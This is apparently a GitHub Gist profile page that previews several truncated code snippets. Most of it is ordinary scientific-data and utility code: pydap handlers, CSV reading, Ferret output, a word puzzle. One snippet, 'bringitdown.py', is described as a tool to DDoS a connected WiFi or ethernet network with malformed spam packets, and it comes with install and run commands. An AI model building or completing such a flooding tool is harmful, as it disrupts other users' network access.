Skip to content

Instantly share code, notes, and snippets.

View betodealmeida's full-sized avatar
💭
Code code code

Beto Dealmeida betodealmeida

💭
Code code code
View GitHub Profile
validos = validos[~isnan(validos.numero)]
for l in lixo:
validos = validos[validos.comida != l]

Keybase proof

I hereby claim:

  • I am robertodealmeida on github.
  • I am beto (https://keybase.io/beto) on keybase.
  • I have a public key whose fingerprint is 1CAF EFDA 6784 AD5E 406D 697F E0BB 5E03 9707 FD33

To claim this, I am signing this object:

def stream(self):
with open(self.filepath, 'Ur') as fp:
reader = csv.reader(fp)
reader.next() # consume var names
for row in reader:
yield row
@betodealmeida
betodealmeida / sandy.jnl
Created December 4, 2012 08:13
Ferret Sandy hurricane test
yes? USE "http://example.com/dap/u/token/id ! use your URL here
yes? show data
currently SET data sets:
1> http://localhost:8081/sandy (default)
name title I J K L M N
OCEAN_TEMPERATURE
Seawater temperature 1:15104 1:7936 ... 1:4 ... ...
INSITU.STID
1:590 ... ... ... ... ...
INSITU.LAT
{
"metadata": {
"name": "Untitled0"
},
"nbformat": 3,
"nbformat_minor": 0,
"worksheets": [
{
"cells": [
{
# DDoS any WiFi network or ethernet interface you're connected do, drowning out other people's legitimate traffic with spam malformed packets
# brew install libdnet; pip install dnet
# sudo python bringitdown.py
import dnet
def bring_it_down(iface="en0", spam_packet='HOST:all|GET:spam'):
datalink = dnet.eth(iface)
h = datalink.get().encode('hex_codec')
from pydap.handlers.lib import get_handler
from django_wsgi import django_view
filepath = XXX # get this from the model somehow
handler = get_handler(filepath) # this is a WSGI app
view = django_view(handler)
return view(request)
from pydap.handlers.lib import get_handler
from django_wsgi import django_view
filepath = XXX # get this from the model somehow
handler = get_handler(filepath) # this is a WSGI app
view = django_view(handler)
return view(request)
from pydap.parsers.dds import DDSParser
from pydap.parsers.das import DASParser
from pydap.xdr import DapUnpacker
f = open("/path/to/file.dods")
content = f.read()
dds, xdrdata = content.split('\nData:\n', 1)
# build the dataset
dataset = DDSParser(dds).parse()
words = { word.strip(): None for word in open('/usr/share/dict/words') }
four = [word for word in words.keys() if len(word) == 4]
for left in four:
for right in four:
combined = ''.join([ left[j] + right[j] for j in range(4) ])
for word in words:
if not combined.startswith(word):
continue
rest = combined[len(word):]